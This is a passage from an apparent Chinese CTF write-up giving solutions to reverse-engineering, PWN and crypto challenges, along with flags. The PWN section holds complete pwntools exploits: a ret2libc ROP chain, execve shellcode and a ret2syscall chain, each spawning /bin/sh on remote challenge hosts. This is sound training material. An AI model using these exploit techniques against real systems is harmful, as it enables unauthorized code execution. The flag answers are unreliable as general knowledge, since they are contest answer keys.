lambda v: ((((223 * v[0] + 6 * v[1] - 29 * v[2] - 53 * v[3] - 3 * v[4]) + 3 * v[5] - 65 * v[6]) + 0 * v[7] + 36 * v[8] + 1 * v[9] - 15 * v[10]) + 16 * v[11] - 18 * v[12]) + 13 * v[13],
lambda v: ((((29 * v[0] + 13 * v[1] - 9 * v[2] - 93 * v[3]) + 33 * v[4] + 6 * v[5] + 65 * v[6] + 1 * v[7] - 36 * v[8]) + 0 * v[9] - 16 * v[10]) + 96 * v[11] - 68 * v[12]) + 33 * v[13] - 14 * v[14],
lambda v: (((69 * v[0] + 77 * v[1] - 93 * v[2] - 12 * v[3]) + 0 * v[4] + 0 * v[5] + 1 * v[6] + 16 * v[7] + 36 * v[8] + 6 * v[9] + 19 * v[10] + 66 * v[11] - 8 * v[12]) + 38 * v[13] - 16 * v[14]) + 15 * v[15],
lambda v: ((((23 * v[0] + 2 * v[1] - 3 * v[2] - 11 * v[3]) + 12 * v[4] + 24 * v[5] + 1 * v[6] + 6 * v[7] + 14 * v[8] - 0 * v[9]) + 1 * v[10] + 68 * v[11] - 18 * v[12]) + 68 * v[13] - 26 * v[14]) + 15 * v[15] - 16 * v[16],
lambda v: (((((24 * v[0] + 0 * v[1] - 1 * v[2] - 15 * v[3]) + 13 * v[4] + 4 * v[5] + 16 * v[6] + 67 * v[7] + 146 * v[8] - 50 * v[9]) + 16 * v[10] + 6 * v[11] - 1 * v[12]) + 69 * v[13] - 27 * v[14]) + 45 * v[15] - 6 * v[16]) + 17 * v[17],
lambda v: ((((25 * v[0] + 26 * v[1] - 89 * v[2]) + 16 * v[3] + 19 * v[4] + 44 * v[5] + 36 * v[6] + 66 * v[7] - 150 * v[8] - 250 * v[9]) + 166 * v[10] + 126 * v[11] - 11 * v[12]) + 690 * v[13] - 207 * v[14]) + 46 * v[15] + 6 * v[16] + 7 * v[17] - 18 * v[18],
lambda v: (((((5 * v[0] + 26 * v[1] + 8 * v[2] + 160 * v[3] + 9 * v[4] - 4 * v[5]) + 36 * v[6] + 6 * v[7] - 15 * v[8] - 20 * v[9]) + 66 * v[10] + 16 * v[11] - 1 * v[12]) + 690 * v[13] - 20 * v[14]) + 46 * v[15] + 6 * v[16] + 7 * v[17] - 18 * v[18]) + 19 * v[19],
lambda v: ((((((29 * v[0] - 26 * v[1]) + 0 * v[2] + 60 * v[3] + 90 * v[4] - 4 * v[5]) + 6 * v[6] + 6 * v[7] - 16 * v[8] - 21 * v[9]) + 69 * v[10] + 6 * v[11] - 12 * v[12]) + 69 * v[13] - 20 * v[14] - 46 * v[15]) + 65 * v[16] + 0 * v[17] - 1 * v[18]) + 39 * v[19] - 20 * v[20],
lambda v: (((((((45 * v[0] - 56 * v[1]) + 10 * v[2] + 650 * v[3] - 900 * v[4]) + 44 * v[5] + 66 * v[6] - 6 * v[7] - 6 * v[8] - 21 * v[9]) + 9 * v[10] - 6 * v[11] - 12 * v[12]) + 69 * v[13] - 2 * v[14] - 406 * v[15]) + 651 * v[16] + 2 * v[17] - 10 * v[18]) + 69 * v[19] - 0 * v[20]) + 21 * v[21],
lambda v: (((((555 * v[0] - 6666 * v[1]) + 70 * v[2] + 510 * v[3] - 90 * v[4]) + 499 * v[5] + 66 * v[6] - 66 * v[7] - 610 * v[8] - 221 * v[9]) + 9 * v[10] - 23 * v[11] - 102 * v[12]) + 6 * v[13] + 2050 * v[14] - 406 * v[15]) + 665 * v[16] + 333 * v[17] + 100 * v[18] + 609 * v[19] + 777 * v[20] + 201 * v[21] - 22 * v[22],
lambda v: (((((((1 * v[0] - 22 * v[1]) + 333 * v[2] + 4444 * v[3] - 5555 * v[4]) + 6666 * v[5] - 666 * v[6]) + 676 * v[7] - 660 * v[8] - 22 * v[9]) + 9 * v[10] - 73 * v[11] - 107 * v[12]) + 6 * v[13] + 250 * v[14] - 6 * v[15]) + 65 * v[16] + 39 * v[17] + 10 * v[18] + 69 * v[19] + 777 * v[20] + 201 * v[21] - 2 * v[22]) + 23 * v[23],
lambda v: (((520 * v[0] - 222 * v[1]) + 333 * v[2] + 4 * v[3] - 56655 * v[4]) + 6666 * v[5] + 666 * v[6] + 66 * v[7] - 60 * v[8] - 220 * v[9]) + 99 * v[10] + 73 * v[11] + 1007 * v[12] + 7777 * v[13] + 2500 * v[14] + 6666 * v[15] + 605 * v[16] + 390 * v[17] + 100 * v[18] + 609 * v[19] + 99999 * v[20] + 210 * v[21] + 232 * v[22] + 23 * v[23] - 24 * v[24],
lambda v: ((((1323 * v[0] - 22 * v[1]) + 333 * v[2] + 4 * v[3] - 55 * v[4]) + 666 * v[5] + 666 * v[6] + 66 * v[7] - 660 * v[8] - 220 * v[9]) + 99 * v[10] + 3 * v[11] + 100 * v[12] + 777 * v[13] + 2500 * v[14] + 6666 * v[15] + 605 * v[16] + 390 * v[17] + 100 * v[18] + 609 * v[19] + 9999 * v[20] + 210 * v[21] + 232 * v[22] + 23 * v[23] - 24 * v[24]) + 25 * v[25],
lambda v: (((((777 * v[0] - 22 * v[1]) + 6969 * v[2] + 4 * v[3] - 55 * v[4]) + 666 * v[5] - 6 * v[6]) + 96 * v[7] - 60 * v[8] - 220 * v[9]) + 99 * v[10] + 3 * v[11] + 100 * v[12] + 777 * v[13] + 250 * v[14] + 666 * v[15] + 65 * v[16] + 90 * v[17] + 100 * v[18] + 609 * v[19] + 999 * v[20] + 21 * v[21] + 232 * v[22] + 23 * v[23] - 24 * v[24]) + 25 * v[25] - 26 * v[26],
lambda v: ((((((97 * v[0] - 22 * v[1]) + 6969 * v[2] + 4 * v[3] - 56 * v[4]) + 96 * v[5] - 6 * v[6]) + 96 * v[7] - 60 * v[8] - 20 * v[9]) + 99 * v[10] + 3 * v[11] + 10 * v[12] + 707 * v[13] + 250 * v[14] + 666 * v[15] + -9 * v[16] + 90 * v[17] + -2 * v[18] + 609 * v[19] + 0 * v[20] + 21 * v[21] + 2 * v[22] + 23 * v[23] - 24 * v[24]) + 25 * v[25] - 26 * v[26]) + 27 * v[27],
lambda v: (((((177 * v[0] - 22 * v[1]) + 699 * v[2] + 64 * v[3] - 56 * v[4] - 96 * v[5] - 66 * v[6]) + 96 * v[7] - 60 * v[8] - 20 * v[9]) + 99 * v[10] + 3 * v[11] + 10 * v[12] + 707 * v[13] + 250 * v[14] + 666 * v[15] + -9 * v[16] + 0 * v[17] + -2 * v[18] + 69 * v[19] + 0 * v[20] + 21 * v[21] + 222 * v[22] + 23 * v[23] - 224 * v[24]) + 25 * v[25] - 26 * v[26]) + 27 * v[27] - 28 * v[28],
lambda v: ((((((77 * v[0] - 2 * v[1]) + 6 * v[2] + 6 * v[3] - 96 * v[4] - 9 * v[5] - 6 * v[6]) + 96 * v[7] - 0 * v[8] - 20 * v[9]) + 99 * v[10] + 3 * v[11] + 10 * v[12] + 707 * v[13] + 250 * v[14] + 666 * v[15] + -9 * v[16] + 0 * v[17] + -2 * v[18] + 9 * v[19] + 0 * v[20] + 21 * v[21] + 222 * v[22] + 23 * v[23] - 224 * v[24]) + 26 * v[25] + 58 * v[26]) + 27 * v[27] - 2 * v[28]) + 29 * v[29]
]

# Right-hand side constants
rhs = [
504, 403, 799, 2938, 2042, 1225, 7975, 229, 2107, 4037,
4950, 12544, 6585, 6893, 1883, 8257, 5847, 18257, 12591, 52041,
20253, 18768, 111844, 159029, 2762025, 1551621, 948348, 777044, 185016, 130106
]

# Coefficients of the last variable in each equation (for even indices)
coeffs = [7, None, 10, None, 1, None, -77, None, 20, None, -10, None, -12, None, -14, None, -16, None, -18, None, -20, None, -22, None, -24, None, -26, None, -28, None]

# Solve for even indices
for k in range(15):
eq_idx = 2 * k
coeff = coeffs[eq_idx]
target = rhs[eq_idx]
# Compute sum of known terms
known_sum = equations[eq_idx](i11i1Iii1I1) - coeff * i11i1Iii1I1[eq_idx]
i11i1Iii1I1[eq_idx] = (target - known_sum) // coeff
# Ensure integer division results in no remainder
if (target - known_sum) % coeff != 0:
print(f"Error: Non-integer value at index {eq_idx}")
exit(1)

# Convert ordinals to characters
unique_chars = [chr(i11i1Iii1I1[2 * k]) for k in range(15)]
print("Unique characters:", ''.join(unique_chars))

# Construct the flag based on frequency positions
target = '111111116257645365477364777645752361'
flag = [''] * 36
# Map positions to unique characters
first_positions = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 35]
for pos, char in zip(first_positions, unique_chars):
flag[pos] = char

# Assign repeating characters based on frequency digits
freq_map = {'2': unique_chars[9], '3': unique_chars[13], '4': unique_chars[12],
'5': unique_chars[10], '6': unique_chars[8], '7': unique_chars[11]}
for i in range(36):
if not flag[i]:
flag[i] = freq_map[target[i]]

flag_str = ''.join(flag)
print("Flag:", flag_str)

# Verification (optional)
from collections import Counter
O0o00 = ''.join(str(Counter(flag_str)[c]) for c in flag_str)
assert O0o00 == '111111116257645365477364777645752361', "Frequency condition failed"
iiIII = ''
counter = Counter(flag_str)
for c in flag_str:
if counter[c] > 0:
iiIII += c + str(counter[c])
counter[c] = 0
i11i1Iii1I1_verify = [ord(c) for c in iiIII]
ii1iIi1i11i_verify = [eq(i11i1Iii1I1_verify) == r for eq, r in zip(equations, rhs)]
assert all(ii1iIi1i11i_verify), "Equations condition failed"
print("Verification passed!")

image-20250413101819534

HZNUCTF{ad7fa-76a7-ff6a-fffa-7f7d6a}

水果忍者

先看文件修改日期。估计就是在这些今年早些日期的

image-20250413200940350

丢IDA里面,多看几个函数,看到HZNU

image-20250413201011557

丢ai分析,脚本如下

image-20250413201107876

from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii

def decrypt_aes(encrypted_hex, key, iv):
# 将十六进制字符串转换为字节
encrypted_bytes = binascii.unhexlify(encrypted_hex)

# 创建 AES 解密器
cipher = AES.new(key.encode('utf-8'), AES.MODE_CBC, iv.encode('utf-8'))

# 解密数据
decrypted_bytes = cipher.decrypt(encrypted_bytes)

# 去除填充数据
decrypted_data = unpad(decrypted_bytes, AES.block_size).decode('utf-8')

return decrypted_data

# 输入数据
encrypted_hex = "cecadff28e93aa5d6f65128ae33e734d3f47b4b8a050d326c534a732d51b96e2a6a80dca0d5a704a216c2e0c3cc6aaaf"
key = "HZNUHZNUHZNUHZNU"
iv = "0202005503081501"

# 解密
try:
decrypted_data = decrypt_aes(encrypted_hex, key, iv)
print("解密后的数据:", decrypted_data)
except Exception as e:
print("解密失败:", e)

HZNUCTF{de20-70dd-4e62-b8d0-06e}

PWN

签到

简单的签到题,栈溢出构造rop链泄露libc基地址接着构造system(/bin/sh)

from pwn import*
from LibcSearcher import*
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('node1.tgctf.woooo.tech',32243)
libc = ELF('./libc.so.6')
elf=ELF('./pwn')
main=elf.symbols['main']
puts_got=elf.got['puts']
puts_plt=0x401060
pop_rdi_ret=0x401176
ret=0x40101a
payload=b'a'*(0x70+8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(main)

io.sendline(payload)
puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))

print(hex(puts))


libc_base=puts-libc.symbols['puts']
system=libc_base+libc.symbols['system']
bin_sh=libc_base+0x1d8678

payload1=b'a'*(0x70+8)+p64(ret)+p64(pop_rdi_ret)+p64(bin_sh)+p64(system)
io.sendline(payload1)


io.interactive()

shellcode

checksec

[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

题目提示够用了仔细看寄存器

main

__int64 __fastcall main(int a1, char **a2, char **a3)
{
void *buf; // [rsp+8h] [rbp-8h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("hello hacker");
puts("try to show your strength ");
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
read(0, buf, 18uLL);
mprotect(buf, 0x1000uLL, 4);
sub_11C9(buf);
return 0LL;
}

buf位于栈上被改为可读可写可执行,后续buf作为参数被传入rdi中调用sub_11C9函数,汇编如下

.text:00000000000011C9 F3 0F 1E FA                   endbr64
.text:00000000000011CD 55 push rbp
.text:00000000000011CE 48 89 E5 mov rbp, rsp
.text:00000000000011D1 41 57 push r15
.text:00000000000011D3 41 56 push r14
.text:00000000000011D5 41 55 push r13
.text:00000000000011D7 41 54 push r12
.text:00000000000011D9 53 push rbx
.text:00000000000011DA 48 89 7D D0 mov [rbp+var_30], rdi
.text:00000000000011DE 48 8B 7D D0 mov rdi, [rbp+var_30]
.text:00000000000011E2 48 31 C0 xor rax, rax
.text:00000000000011E5 48 31 DB xor rbx, rbx
.text:00000000000011E8 48 31 C9 xor rcx, rcx
.text:00000000000011EB 48 31 D2 xor rdx, rdx
.text:00000000000011EE 48 31 F6 xor rsi, rsi
.text:00000000000011F1 4D 31 C0 xor r8, r8
.text:00000000000011F4 4D 31 C9 xor r9, r9
.text:00000000000011F7 4D 31 D2 xor r10, r10
.text:00000000000011FA 4D 31 DB xor r11, r11
.text:00000000000011FD 4D 31 E4 xor r12, r12
.text:0000000000001200 4D 31 ED xor r13, r13
.text:0000000000001203 4D 31 F6 xor r14, r14
.text:0000000000001206 4D 31 FF xor r15, r15
.text:0000000000001209 48 31 ED xor rbp, rbp
.text:000000000000120C 48 31 E4 xor rsp, rsp
.text:000000000000120F 48 89 FF mov rdi, rdi
.text:0000000000001212 FF E7 jmp rdi
.text:0000000000001212
.text:0000000000001212 sub_11C9 endp

会将除RDI RIP外的所有寄存器清零故在设置execve(‘/bin/sh,0,0’)时我们不用管rsi和rdx,只用看rdi和rax就好了,关键在于如何让rdi的值为/bin/sh的地址,注意只能是/bin/sh的地址,因为execve的各个参数都是指针,如果直接将/bin/sh这个具体字符赋值给rdi函数会无法解析,选择将/bin/sh写在buf上,然后通过rsp传递/bin/sh

lea rsp, [rdi + 11]   ;4字节将rdi指向的地址加上 11后的结果赋值给rsp(刚好指向/bin/sh)
mov rdi,rsp ;3字节将rsp的值赋给rdi
mov al,0x3b ;2字节将rax的值设置为0x3b
syscall ;2字节系统调用

exp:

from pwn import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('node2.tgctf.woooo.tech',30243)
#io = process('./pwn')
elf=ELF('./pwn')
shellcode = asm('''
lea rsp, [rdi + 11]
mov rdi,rsp
mov al,0x3b
syscall
''')
payload = shellcode+ b'/bin/sh'

#gdb.attach(io)
io.send(payload)
#pause()

io.interactive()

新姿势:lea用于计算内存地址并将结果存储在目标寄存器中,相较于先add再mov更省字节

stack

checksec

桌面$ checksec pwn            
[*] '/home/pwn/桌面/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
std::operator<<<std::char_traits<char>>(&std::cout, "welcome! could you tell me your name?\n");
read(0, &unk_404060, 0xA8uLL);
std::operator<<<std::char_traits<char>>(&std::cout, "what dou you want to say?\n");
sub_4011FA();
return 0LL;
}

sub_4011FA()函数

void *sub_4011FA()
{
signed __int64 v0; // rax
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
void *retaddr; // [rsp+48h] [rbp+8h]

v0 = sys_read(0, buf, 0x50uLL);
return retaddr;
}

sub_4011FA()函数很明显存在栈溢出但是要构造rop链来泄露libc明显不太够main函数中还有个read可以读很多数据到data段

data段从unk_404060开始

.data:0000000000404060 00                            unk_404060 db    0                      ; DATA XREF: main+62↑o
.data:0000000000404061 00 db 0
.data:0000000000404062 00 db 0
.data:0000000000404063 00 db 0
.data:0000000000404064 00 db 0
.data:0000000000404065 00 db 0
.data:0000000000404066 00 db 0
.data:0000000000404067 00 db 0
.data:0000000000404068 00 db 0
.data:0000000000404069 00 db 0
.data:000000000040406A 00 db 0
.data:000000000040406B 00 db 0
.data:000000000040406C 00 db 0
.data:000000000040406D 00 db 0
.data:000000000040406E 00 db 0
.data:000000000040406F 00 db 0
.data:0000000000404070 00 db 0
.data:0000000000404071 00 db 0
.data:0000000000404072 00 db 0
.data:0000000000404073 00 db 0
.data:0000000000404074 00 db 0
.data:0000000000404075 00 db 0
.data:0000000000404076 00 db 0
.data:0000000000404077 00 db 0
.data:0000000000404078 00 db 0
.data:0000000000404079 00 db 0
.data:000000000040407A 00 db 0
.data:000000000040407B 00 db 0
.data:000000000040407C 00 db 0
.data:000000000040407D 00 db 0
.data:000000000040407E 00 db 0
.data:000000000040407F 00 db 0
.data:0000000000404080 00 db 0
.data:0000000000404081 00 db 0
.data:0000000000404082 00 db 0
.data:0000000000404083 00 db 0
.data:0000000000404084 00 db 0
.data:0000000000404085 00 db 0
.data:0000000000404086 00 db 0
.data:0000000000404087 00 db 0
.data:0000000000404088 00 db 0
.data:0000000000404089 00 db 0
.data:000000000040408A 00 db 0
.data:000000000040408B 00 db 0
.data:000000000040408C 00 db 0
.data:000000000040408D 00 db 0
.data:000000000040408E 00 db 0
.data:000000000040408F 00 db 0
.data:0000000000404090 00 db 0
.data:0000000000404091 00 db 0
.data:0000000000404092 00 db 0
.data:0000000000404093 00 db 0
.data:0000000000404094 00 db 0
.data:0000000000404095 00 db 0
.data:0000000000404096 00 db 0
.data:0000000000404097 00 db 0
.data:0000000000404098 00 db 0
.data:0000000000404099 00 db 0
.data:000000000040409A 00 db 0
.data:000000000040409B 00 db 0
.data:000000000040409C 00 db 0
.data:000000000040409D 00 db 0
.data:000000000040409E 00 db 0
.data:000000000040409F 00 db 0
.data:00000000004040A0 01 00 00 00 00 00 00 00 qword_4040A0 dq 1 ; DATA XREF: sub_4011FA-2A↑r
.data:00000000004040A8 ; unsigned int fd
.data:00000000004040A8 01 00 00 00 00 00 00 00 fd dq 1 ; DATA XREF: sub_4011FA-23↑r
.data:00000000004040B0 00 db 0
.data:00000000004040B1 00 db 0
.data:00000000004040B2 00 db 0
.data:00000000004040B3 00 db 0
.data:00000000004040B4 00 db 0
.data:00000000004040B5 00 db 0
.data:00000000004040B6 00 db 0
.data:00000000004040B7 00 db 0
.data:00000000004040B8 ; size_t count
.data:00000000004040B8 0B 00 00 00 00 00 00 00 count dq 0Bh ; DATA XREF: sub_4011FA-19↑r
.data:00000000004040C0 ; char buf[72]
.data:00000000004040C0 00 00 00 00 00 00 00 00 00 00+buf db 48h dup(0) ; DATA XREF: sub_4011FA-3C↑o
.data:00000000004040C0 00 00 00 00 00 00 00 00 00 00+ ; sub_4011FA-31↑o
.data:0000000000404108 2F 62 69 6E 2F 73 68 00 aBinSh db '/bin/sh',0

发现了/bin/sh地址,先记录后续应该用的上,溢出字节数够我们可以覆盖很多内容:qword_4040A0 dq 1;fd dq 1 ;count dq 0Bh 这三个参数很可疑汇编里找找它在哪

sub_4011FA

1

发现当[rbp+8]处的内容和[rbp+0x28]处的内容不一样时会跳转到loc_4011B6这个函数

找到这个函数就在sub_4011FA汇编的上面,但是没有对应的函数名称所以在左侧函数名称栏看不到

1

发现了刚刚我们可以覆盖的那几个参数,分别对应rax ,rdi,rdx,其中通过gdb调试发现rsi的地址是指向0的指针,所以我们可以通过第一个read来覆盖特定参数达到execve(‘/bin/sh,0,0’)

当[rbp+8]处的内容和[rbp+0x28]处的内容不一样时才会跳转到loc_4011B6这个函数,在未栈溢出覆盖时这两个地方的值是一样的所以我们要覆盖掉rbp+8处的内容使函数能正常跳转

完整exp:

from pwn import*

context(arch = 'amd64',os = 'linux',log_level = 'debug')
io=remote('node1.tgctf.woooo.tech',30764)
#io = process('./pwn')
#libc = ELF('./libc.so.6')
elf=ELF('./pwn')
bin_sh=0x404108

qword_4040A0_offset = 0x40 # 64 字节
fd_offset = 0x48 # 72 字节
count_offset = 0x58
# 构造 payload
payload = b'A' * qword_4040A0_offset # 填充到 qword_4040A0 的偏移量
payload += p64(0x3b) # 写入 0x3b
payload += b'B' * (fd_offset - qword_4040A0_offset - 8) # 填充到 fd 的偏移量
payload += p64(0x404108) # 写入 0x404108
payload += b'C' * (count_offset - fd_offset - 8) # 填充到 count 的偏移量
payload += p64(0x0000000000000000)




io.send(payload)
payload = b'a'*(0x40)+b'12345678'*2
#gdb.attach(io)
io.sendafter(b'want to say?\n',payload)

#pause()

io.interactive()

overflow

checksec

桌面$ checksec pwn
[*] '/home/pwn/桌面/pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

check版本老了,实际上没开canary因为静态编译所以误检测了,程序是静态编译的,两段输入第一段通过read读到bss段上可以读0x100个字节,第二段gets读入栈上可以栈溢出控制执行流

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[200]; // [esp+0h] [ebp-D0h] BYREF
int *p_argc; // [esp+C8h] [ebp-8h]

p_argc = &argc;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr[0], 0, 2, 0);
puts("could you tell me your name?");
read(0, name, 0x100);
puts("i heard you love gets,right?");
gets(buf);
return 0;
}

目前思路在name处写下rop链进行ret2syscall系统调用execve(‘/bin/sh’,0,0),gets处构造溢出控制执行流即可

因为是全静态编译,gets函数也是静态构造的没有link,所以通过gdb调试进入到gets函数来找偏移

1

前面还有一个 _uflow 函数调用获取一个字符所以我们的输入起始地址是0xfffd048继续调式

可以看到运行到gets函数结束时旧的ebp在0xffffd118处距离输入即为0xD0这个数据和IDA上的相同但是想要控制执行流并不能将返回地址覆盖在0xD0+4+4处因为main函数汇编ret这里有点不一样

1

我们先找esp因为最后retn是pop eip将esp指向的地址弹给执行流,来到080498C0处也就是lea esp,[ebp - 8]ebp是我们可控的,esp现在的地址是[ebp - 8]处紧接着pop ecx将该处前4个字节弹给ecx后面还要弹两个但是用处不大,就到了0x080498C6处lea esp,[ecx - 4]此时esp的值被改为了[ecx - 4]也就是[ebp - 8 -4]处所以我们要将返回地址放到[ebp-8]处才能跳转且返回地址的值要加4才是正确的返回地址

完整exp

from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('node1.tgctf.woooo.tech',31579)
#io = process('./pwn')
elf = ELF('./pwn')


name=0x080EF320

int_80=0x08073D70
pop_eax=0x080b470a
pop_ebx=0x08049022
pop_ecx=0x08049802
pop_edx=0x08060bd1
bin_sh=name
payload = b'/bin/sh\x00'+p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(bin_sh)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0)+p32(int_80)
io.sendlineafter(b'your name?\n',payload)

payload = b'a'*(0xD0-0x8)+p32(name+0x4+0x8)
#gdb.attach(io)
io.sendlineafter(b'right?\n',payload)


#pause()
io.interactive()

p32(name+0x4+0x8)加4上面已经讲了,加8是为了跳过/bin/sh\x00‘占8字节

Crypto

AAAAAAAA·真·签到

从题目的提示可知,原本的flag是以TGCTF为前缀,但是现在的是UGBRC,看字母的规律是,U的前一个字母是T,记为-1,G没变,记为0,B的下一位是C,记为+1,以此类推,数字和符号不变,就可以得到flag:TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}

费克特尔

首先分解n

img

然后脚本

img

还要将得到的转换为utf-8

img

转换后的 UTF-8 字符串为: TGCTF{f4888_6abdc_9c2bd_9036bb}

mm不躲猫猫

img

img

tRwSiAns

img

img

img

宝宝RSA

由于我们不知道e1,所以需要先求得e1,得到e1就可以得到第一部分的flag

img

img

然后求第二部分,用低指数攻击

img

img

最后得到完整flag:TGCTF{!!3xP_Is_Sm@ll_But_D@ng3r0}